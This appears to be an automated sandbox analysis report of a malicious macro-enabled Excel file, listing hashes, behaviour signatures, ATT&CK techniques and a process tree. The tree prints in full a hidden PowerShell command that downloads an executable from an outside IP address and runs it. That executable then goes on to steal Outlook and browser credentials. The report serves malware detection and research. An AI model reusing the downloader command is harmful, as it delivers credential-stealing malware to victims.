Analysis

  • max time kernel
    99s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-01-2023 10:13

General

  • Target

    PO2743.xlsm

  • Size

    41KB

  • MD5

    35e2b1bf89ea38008f77574d084b3f35

  • SHA1

    03aa73f9a067362e05f903332233f088aed05f94

  • SHA256

    85bdc4781b13f6953ad5b63b787e7e08b35a1ec25a29f1f5cb209450cb7a6f51

  • SHA512

    f1ae34f50bde14c299c02cce3e07826a13c3035f9b70458a0d0c2d774ea81aec8d9a6436148fb641dab0886a1f5439267c88710da62df446930051d1b856351d

  • SSDEEP

    768:kQL8fvj+qtTsv+nWL8hDBIJYfTH+niSpvfkBBGR2FFiKk/fa9Rz+n32s+:JLuvqq+v+9G1Bh8/GR2FFi3/y903z+

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO2743.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://173.232.146.78/505/Doc-102PO-207841001jpg.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe
        "C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig/release
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4596
          • C:\Windows\system32\ipconfig.exe
            ipconfig /release
            5⤵
            • Gathers network information
            PID:5108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4084
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig/renew
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4860
          • C:\Windows\system32\ipconfig.exe
            ipconfig /renew
            5⤵
            • Gathers network information
            PID:3916
        • C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe
          C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:5064

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Command-Line Interface

1
T1059

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Discovery

Query Registry

3
T1012

System Information Discovery

5
T1082

Collection

Data from Local System

1
T1005

Email Collection

1
T1114

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    223bd4ae02766ddc32e6145fd1a29301

    SHA1

    900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

    SHA256

    1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

    SHA512

    648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tmpF15A.exe.log
    Filesize

    1KB

    MD5

    819dc687f4da92e5850508c10429fc9f

    SHA1

    d3441a3c46ddc99d03583be6b2ab02615baa60be

    SHA256

    357a8ea90e614160a9179ac7eb5e3ff159855a037b1bd0deecbd7d3e3a243119

    SHA512

    671735133e2643d2ec84511cb0a89dad9082e6255020fef4cd4e37b7a7207a06a36f4f22c646ce6854d6e244b2b9e090dc87aa3309a349d5b20a1a014bf1f7ee

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    250ce819c546979b113a6b300b892bbd

    SHA1

    8301f69b5fee295a2cd3e73584ac9c77895b64cb

    SHA256

    59dd0dfc1682eade4799ed5f153638eec129a354533cecc4a3be8c83be6fc680

    SHA512

    a786337ef7cc45a6e5a3883b9eea0d42e0a11682eaca973eae02584a3860bffbcb64ffad534e4d8cf44c08f4b6a394cf0869a69e29a81e2beee1ecee0121f573

  • C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe
    Filesize

    2.1MB

    MD5

    0596aefc251ba32dcb538593b0616568

    SHA1

    9ceb68e35b93711e8247512c21ad2ccd6b8da938

    SHA256

    f085f0ece42084f2ce26c28a27ebc9457ae32b2ecd632b3073500b7e17805659

    SHA512

    da0d4d63ce9ecfc3d892b20f55be6769a5d28a77d9c3b7f4cb22abc51e3be604c102c1e6b7c4d7464dc8dc3f4730b204654c82292ad8899004e90cd7b4a66a5d

  • C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe
    Filesize

    2.1MB

    MD5

    0596aefc251ba32dcb538593b0616568

    SHA1

    9ceb68e35b93711e8247512c21ad2ccd6b8da938

    SHA256

    f085f0ece42084f2ce26c28a27ebc9457ae32b2ecd632b3073500b7e17805659

    SHA512

    da0d4d63ce9ecfc3d892b20f55be6769a5d28a77d9c3b7f4cb22abc51e3be604c102c1e6b7c4d7464dc8dc3f4730b204654c82292ad8899004e90cd7b4a66a5d

  • C:\Users\Admin\AppData\Local\Temp\tmpF15A.exe
    Filesize

    2.1MB

    MD5

    0596aefc251ba32dcb538593b0616568

    SHA1

    9ceb68e35b93711e8247512c21ad2ccd6b8da938

    SHA256

    f085f0ece42084f2ce26c28a27ebc9457ae32b2ecd632b3073500b7e17805659

    SHA512

    da0d4d63ce9ecfc3d892b20f55be6769a5d28a77d9c3b7f4cb22abc51e3be604c102c1e6b7c4d7464dc8dc3f4730b204654c82292ad8899004e90cd7b4a66a5d

  • memory/2228-146-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/2228-139-0x0000000000000000-mapping.dmp
  • memory/2228-140-0x0000021937060000-0x0000021937082000-memory.dmp
    Filesize

    136KB

  • memory/2228-141-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/2292-138-0x00007FFA6FA80000-0x00007FFA6FA90000-memory.dmp
    Filesize

    64KB

  • memory/2292-168-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-137-0x00007FFA6FA80000-0x00007FFA6FA90000-memory.dmp
    Filesize

    64KB

  • memory/2292-133-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-136-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-169-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-171-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-170-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-132-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-135-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2292-134-0x00007FFA72110000-0x00007FFA72120000-memory.dmp
    Filesize

    64KB

  • memory/2712-147-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/2712-154-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/2712-142-0x0000000000000000-mapping.dmp
  • memory/2712-163-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/2712-145-0x000001D445770000-0x000001D44598A000-memory.dmp
    Filesize

    2.1MB

  • memory/3916-158-0x0000000000000000-mapping.dmp
  • memory/4084-150-0x0000000000000000-mapping.dmp
  • memory/4084-156-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/4084-155-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/4084-153-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/4596-148-0x0000000000000000-mapping.dmp
  • memory/4860-157-0x0000000000000000-mapping.dmp
  • memory/5064-160-0x0000000140000000-mapping.dmp
  • memory/5064-159-0x0000000140000000-0x0000000140098000-memory.dmp
    Filesize

    608KB

  • memory/5064-164-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/5064-165-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/5064-166-0x00007FFA88B20000-0x00007FFA895E1000-memory.dmp
    Filesize

    10.8MB

  • memory/5108-149-0x0000000000000000-mapping.dmp